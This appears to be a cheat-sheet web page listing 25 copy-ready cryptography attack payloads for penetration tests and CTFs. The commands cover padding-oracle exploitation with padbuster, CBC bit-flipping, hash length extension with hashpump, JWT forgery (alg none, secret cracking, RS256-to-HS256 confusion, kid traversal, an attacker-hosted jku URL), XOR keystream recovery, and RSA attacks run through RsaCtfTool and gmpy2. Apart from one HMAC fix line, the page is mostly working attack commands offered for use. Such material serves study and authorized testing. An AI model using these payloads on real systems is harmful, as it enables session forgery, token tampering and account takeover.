Copy-ready commands and techniques for exploiting weak cryptography in web apps and CTFs during authorized testing. (25 payloads)
padbuster http://target/page "$ENC_COOKIE" 16 -cookies "session=$ENC_COOKIE"padbuster http://target/page "$ENC" 16 -cookies "session=$ENC" -plaintext "user=admin&role=admin"C'[i] = C[i] XOR P[i] XOR P'[i] (CBC bit-flip on preceding block)blocks = [ct[i:i+16] for i in range(0,len(ct),16)] # then swap/duplicate blockspayload = 'A'*16 + 'admin' + '\x0b'*11 # align target value to a block boundaryfor b in range(256): send(prefix + bytes([b])); detect repeated ciphertext blockhash_extender --data "$ORIG_DATA" --secret 16 --append "&admin=true" --signature $KNOWN_MAC --format sha256hashpump -s $KNOWN_SIG -d "$ORIG_DATA" -a "&admin=true" -k 16glue = orig_data + md5_padding(len(secret)+len(orig_data)) + appendFix: use HMAC-SHA256(key, msg) instead of H(key||msg){"alg":"none","typ":"JWT"} -> base64url(header) + "." + base64url(payload) + "."hashcat -a 0 -m 16500 jwt.txt wordlist.txtjwt_tool $JWT -C -d wordlist.txt # then jwt_tool $JWT -S hs256 -p "secret"jwt_tool $JWT -X k -pk public.pem (RS256 -> HS256 confusion){"alg":"HS256","jwk":{...}} or {"kid":"../../dev/null"} / {"jku":"https://attacker/jwks.json"}key = bytes(c ^ p for c, p in zip(ciphertext, known_plaintext))C1 XOR C2 = P1 XOR P2 (two-time pad / keystream reuse)best_key = max(range(256), key=lambda k: english_score(bytes(b^k for b in ct)))P[i] = C[i] XOR keystream[i % len(keystream)] # crib-drag guessed wordsm = gmpy2.iroot(c, e)[0] # when c < n and m^e < n (no padding, small e)Hastad: CRT-combine c1,c2,c3 (same m, e=3, distinct n) then iroot(_, 3)g=gcd(e1,e2); s=egcd(e1,e2); m = (pow(c1,a,n)*pow(c2,b,n)) % n for a*e1+b*e2=1RsaCtfTool --publickey key.pub --uncipherfile cipher.bin --attack wienerRsaCtfTool --publickey *.pub --private --attack allp = gcd(n1, n2) then q = n1 // p; d = inverse(e, (p-1)*(q-1))Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 25 Crypto Attacks payloads for testing Cryptography Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Cipher Decoder to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Crypto Attacks payloads are completely free, with no account required. Everything runs in your browser.